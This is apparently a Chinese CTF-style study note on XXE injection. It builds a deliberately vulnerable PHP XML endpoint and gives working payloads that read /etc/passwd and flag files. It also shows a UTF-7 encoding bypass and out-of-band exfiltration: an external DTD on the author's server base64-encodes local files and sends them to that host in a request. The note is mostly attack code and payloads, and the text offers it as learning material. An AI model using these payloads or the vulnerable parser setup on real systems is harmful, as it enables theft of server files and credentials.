0%

XML注入学习

环境搭建

xml.php

1
2
3
4
5
6
7
8
9
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

?>

利用

  • 文件读取
1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<creds>&goodies;</creds>

img

  • php 各种协议

    phar 配合上传文件反序列化

    php://filter

Bypass

编码

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-7"?> 
+ADwAIQ-DOCTYPE data +AFs
+ADwAIQ-ELEMENT data (+ACM-PCDATA)+AD4
+ADwAIQ-ENTITY file SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg
+ADw-data+AD4AJg-file+ADsAPA-/data+AD4

img

引用外部的DTD()

在自己的vps放dtd

xml.dtd

1
2
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://vps/?%file;'>">
%start;

payload

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://ctf.tinmin.cn/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>tinmin</message>

可以不读php文件,/etc/passwd文件就不行,太大了

img

也可以直接读php

payload2

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % dtd SYSTEM "http://ctf.tinmin.cn/exp.dtd">
%dtd;%int;%send; ]>

exp.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/index.php">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://ctf.tinmin.cn/?p=%file;'>">

用burp测试发现,得在http头下隔一行,不然不成功,没懂什么原因,

img

通过查看nginx 或者apache 日志

image.png